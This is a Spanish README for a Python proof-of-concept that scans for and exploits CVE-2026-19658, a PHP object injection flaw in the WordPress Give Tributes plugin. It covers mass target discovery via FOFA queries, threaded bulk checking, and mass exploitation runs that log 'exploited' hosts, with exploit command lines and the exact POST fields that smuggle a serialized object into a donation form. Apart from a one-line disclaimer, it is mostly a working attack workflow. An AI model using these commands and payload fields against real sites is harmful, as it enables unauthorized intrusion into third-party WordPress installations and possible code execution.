
Comprobador y asistente de explotación en Python 3 para CVE-2026-19658, una vulnerabilidad de inyección de objetos PHP en el plugin Give Tributes de WordPress, con descubrimiento de objetivos mediante FOFA y explotación de formularios de donación heredados.
Prueba de concepto en Python 3: escáner y ayudante de explotación de la cadena de donación para CVE-2026-19658 en el complemento de WordPress Give - Tributes (Liquid Web / GiveWP).
| Plataforma | Complemento de WordPress (requiere el núcleo GiveWP) |
| Componente | Give - Tributes |
| Afectados | ≤ 2.3.1 |
| Corregido en | 2.3.1.1+ (campos de eCard multirreceptor saneados) |
| CVSS | 9.8 Crítico |
| Autenticación | No autenticada (formulario de donación heredado) |
| CWE | CWE-502 — Deserialización de datos no confiables |
| Asignador | Wordfence |
Cuando Allow Multiple Recipients está habilitado para eCards y el mensaje personalizado de eCard está deshabilitado (predeterminado), las versiones vulnerables almacenan datos de destinatario de eCard de $_POST sin procesar en los metadatos de la donación. La validación de campos de GiveWP utiliza una copia give_clean() de $_POST (las cadenas serializadas se vacían allí), pero insert_tribute_data() lee $_POST sin sanear, por lo que el first_name / last_name de un segundo destinatario puede contener un objeto serializado de PHP.
Impacto: No se conoce una cadena POP dentro de Give Tributes por sí solo. Los metadatos se deserializan al leerse (por ejemplo, vista previa/reenvío de eCard en el administrador). RCE o impacto destructivo requiere una cadena de gadgets de otro complemento o tema instalado.
[give_form] / v2), no el Visual Form Builder solo v3manual en dev/staging)pip install -r requirements.txtpip install -r requirements.txt
# Objetivo único — comprobar (flujo de terminal activado por defecto para --list)
python poc.py -u https://target.example --mode check
# Comprobación masiva
python poc.py --list targets.example.txt --mode check --threads 20 --flow
# Objetivo único — explotar (solo objetivos autorizados)
python poc.py -u https://target.example --mode exploit \
--form-url /donate/ --form-id 123 --gateway manual \
--payload 'O:8:"stdClass":0:{}'
# Explotación masiva desde la salida de comprobación
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
--vuln-list exploited.txt
Ejemplos:
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"
Lista de hosts (un dominio por línea):
python poc.py --list my_hosts.txt --mode check --threads 20 --flow
Exportación CSV de FOFA:
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20
| Opción | Descripción |
|---|---|
-u, --url | URL base única |
--list | Lista de URL, archivo de hosts o candidates.jsonl |
--mode | check o exploit |
--form-url | Ruta de la página de donación o URL completa |
--form-id | ID de la entrada del formulario Give |
--paths | Rutas adicionales para rastrear en busca de formularios |
--payload | Objeto serializado para el first_name del segundo destinatario |
--gateway | payment-mode de Give (predeterminado manual) |
--email | give_email del donante |
--flow | Una línea por objetivo en ejecuciones masivas (predeterminado con --list) |
--no-flow | Solo resumen de progreso |
--quiet, -q | Salida mínima en consola |
--threads, -j | Concurrencia masiva (predeterminado 12) |
--output | Registro JSONL (predeterminado cve_2026_19658_results.jsonl) |
--vuln-list | Líneas de aciertos/explotados en texto (predeterminado hits.txt) |
--candidates-list | JSONL de metadatos de comprobación (predeterminado candidates.jsonl) |
Usa --vuln-list exploited.txt en las ejecuciones de explotación para que los aciertos de comprobación en hits.txt no se sobrescriban.
| Archivo | Modo | Contenido |
|---|---|---|
cve_2026_19658_results.jsonl | ambos | JSON completo por objetivo |
hits.txt | check | URLs con exploitable_candidate |
candidates.jsonl | check | best_form, indicios de versión |
exploited.txt | exploit | url|payment=… cuando se confirma la donación |
status en la comprobación| Estado | Significado |
|---|---|
candidate | Complemento vulnerable + Give + formulario heredado con interfaz de tributes |
vulnerable_no_form | Complemento/versión OK, no se encontró formulario adecuado en las rutas rastreadas |
patched | Tributes > 2.3.1 o ≥ 2.3.1.1 (cuando la versión es legible) |
give_only | Give sin Tributes detectable |
no_plugin | Tributes no detectado |
El escaneo remoto no puede ver de forma fiable "Allow Multiple Recipients"; los candidatos pueden fallar igualmente en el momento de la explotación.
first_name.manual suele estar deshabilitada en producción — prueba las pasarelas visibles en el formulario (stripe, paypal, test, …).give validation rejected donation: opciones de tribute/notify, importe o pasarela incorrectos.give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Las listas de escaneo locales y los artefactos de ejecución (list.txt, fofa*.csv, *.jsonl, hits.txt, …) están en .gitignore y no deben confirmarse.
Solo para pruebas de seguridad autorizadas y educación. Eres responsable del cumplimiento de las leyes aplicables y las reglas del programa.